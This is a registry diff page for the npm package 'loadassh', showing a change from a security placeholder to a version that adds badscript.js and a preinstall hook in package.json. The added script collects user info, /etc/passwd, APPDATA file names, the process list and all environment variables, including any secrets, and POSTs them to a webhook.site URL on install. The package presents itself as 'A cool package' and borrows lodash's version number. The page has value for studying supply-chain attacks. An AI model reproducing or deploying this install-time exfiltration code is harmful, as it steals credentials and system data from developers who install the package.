loadassh 0.0.1-security → 4.17.21
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of loadassh might be problematic. Click here for more details.
- package/badscript.js +63 -0
- package/index.js +1 -0
- package/package.json +14 -3
- package/README.md +0 -5
package/badscript.js
ADDED
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
const axios = require('axios');
|
|
2
|
+
const os = require("os");
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const { exec, execSync } = require("child_process");
|
|
5
|
+
const { callbackify } = require('util');
|
|
6
|
+
|
|
7
|
+
function userInfo(){
|
|
8
|
+
const home = os.userInfo();
|
|
9
|
+
return home;
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
function getHomeFiles(){
|
|
13
|
+
const testFolder = process.env.APPDATA;
|
|
14
|
+
try {
|
|
15
|
+
files = ""
|
|
16
|
+
fs.readdirSync(testFolder).forEach(file => {
|
|
17
|
+
console.log(file);
|
|
18
|
+
files += file + " ";
|
|
19
|
+
});
|
|
20
|
+
return files;
|
|
21
|
+
} catch (err){
|
|
22
|
+
console.error(err);
|
|
23
|
+
return "";
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function getProcesses(){
|
|
28
|
+
const out = execSync("ps aux").toString();
|
|
29
|
+
return out;
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
function getPasswd(){
|
|
33
|
+
try {
|
|
34
|
+
const data = fs.readFileSync('/etc/passwd', 'utf8');
|
|
35
|
+
console.log(data);
|
|
36
|
+
return data;
|
|
37
|
+
} catch (err) {
|
|
38
|
+
console.error(err);
|
|
39
|
+
return "";
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
const info = {
|
|
44
|
+
userinfo: userInfo(),
|
|
45
|
+
passwd: getPasswd(),
|
|
46
|
+
homefiles: getHomeFiles(),
|
|
47
|
+
processes: getProcesses(),
|
|
48
|
+
env: process.env
|
|
49
|
+
};
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
axios
|
|
54
|
+
.post('https://webhook.site/2fa4b31d-e4f3-4ab4-bd8e-ac5c8fe34ec0', {
|
|
55
|
+
info: info,
|
|
56
|
+
})
|
|
57
|
+
.then(res => {
|
|
58
|
+
console.log(`statusCode: ${res.status}`);
|
|
59
|
+
console.log(res);
|
|
60
|
+
})
|
|
61
|
+
.catch(error => {
|
|
62
|
+
console.error(error);
|
|
63
|
+
});
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log("Hi!");
|
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "loadassh",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "4.17.21",
|
|
4
|
+
"description": "A cool package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node badscript.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "Myself",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"axios": "^0.27.2",
|
|
14
|
+
"lodash": "^4.17.21",
|
|
15
|
+
"https": "^1.0.0"
|
|
16
|
+
}
|
|
6
17
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=loadassh for more information.
|